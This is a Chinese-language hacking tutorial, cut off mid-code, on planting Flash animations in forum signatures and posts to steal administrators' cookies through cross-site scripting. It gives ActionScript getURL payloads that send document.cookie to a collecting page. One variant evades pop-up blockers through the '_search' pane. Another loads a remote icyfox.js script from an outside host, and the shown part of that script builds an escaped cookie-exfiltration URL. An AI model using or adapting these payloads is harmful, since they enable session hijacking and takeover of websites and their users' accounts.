
一般來說大家在進行Flash跨站攻擊時都是自己做一個Flash動畫,并在第一幀中加入用于跳轉到其他URL的AtionScript腳本函數,如下:
getURL("JavaScript:window.open('http://用于收集Cookie的網頁地址?'+document.cookie)","_self")
然后把這個Flash動畫置于論壇中的簽名、貼子或短信消息中,用來獲得管理員或用戶的Cookie,從而得到管理權限,進一步伺機控制整個站點,最終達到自己的目的。我們可以看到在整個跨站攻擊中最重要的就是這個AtionScript腳本啦!也就是這個腳本中用到的代碼打開了一個我們又愛又恨的窗口,所以我們也只能從改造這個腳本代碼來實現隱藏或者是去掉彈出的IE窗口,除此外別無它法!
我們先分析一下上面的AtionScript腳本,它使用AtionScript腳本函數"getURL"跳轉到一個使用JavaScript協議的URL(JavaScript協議后面就是我們非常熟悉的JavaScript腳本代碼),在JavaScript中使用document.cookie的到Cookie,并把Cookie和一個用于收集Cookie的網頁地址連成一個http協議的URL地址,最后使用window.open打開合成的URL地址,從而把Cookie用GET方式發送到用于收集Cookie的網頁,并記錄下來。
通過上面的分析我們進一步了解那個彈出的IE窗口是由于JavaScript協議中的代碼window.open所生成的,相信大家都知道window.open的第二個參數用來指定打開的窗口的名字,其通用名稱有"_media (IE6.0 在瀏覽器左邊的媒體面板內打開)"、"_blank (在新窗口中打開)"、"_parent (在當前框架的父框架內打開。假如當前框架無父框架,此參數值等同于 _self)"、"_search (IE5.0 在瀏覽器左邊的搜索面板內打開)"、"_self(在當前窗口中打開,覆蓋當前文檔)"、"_top (在所有框架之外的最頂層窗口中打開 。假如當前窗口無框架結構,此參數值等同于 _self )"等幾種,如果我們以"_search"來打開窗口,不是就沒有了彈出的IE窗口了嗎?AtionScript腳本改為:
getURL("JavaScript:window.open('http://用于收集Cookie的網頁地址?'+document.cookie,'_search')","_self")
當然,這樣做會打開搜索面板,也會引起懷疑,但卻可以躲過那些關閉彈出窗口軟件的追殺!姑且也算一種方法吧!
如果僅僅是上面所說的,相信不少讀者要把我。。。。。。
看到這里聰明的你是不是想到了點解決的思路?對!既然支持JavaScript啦,還有啥東東會不能解決呢?JavaScript真的是好處多多呀!
如果你曾看了我的那篇"打造一個完美的IE網頁木馬"的文章,并且你對其中的代碼深深理解的話,你可以自己先去想象一下啦!呵呵......
在那篇文章中有下面這樣一段代碼:
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//');
window.open("file:javascript:document.all.tags('SCRIPT')[0].src='"+jsurl+"';eval();","icyfoxlovelace");
使用了javascript協議把自己網站上的一個js代碼文件插入到了本地文件中,同樣的道理我們也可以用它把一個js代碼文件插入到進行跨站攻擊的論壇網頁中,相應的AtionScript腳本改為:
getURL("JavaScript:document.all.tags('SCRIPT')[0].src='http:\/\/www.godog.y365.com\/wodemuma\/icyfox.js';eval();","_self")
其中icyfox.js得內容如下:
cookieurl="http://用于收集Cookie的網頁地址?cookie="+escape(document.cookie);
/*這里使用了escape()對cookie編碼,用來防止cookie中的一些特殊字符*/
document.body.insertAdjacentHTML('beforeEnd','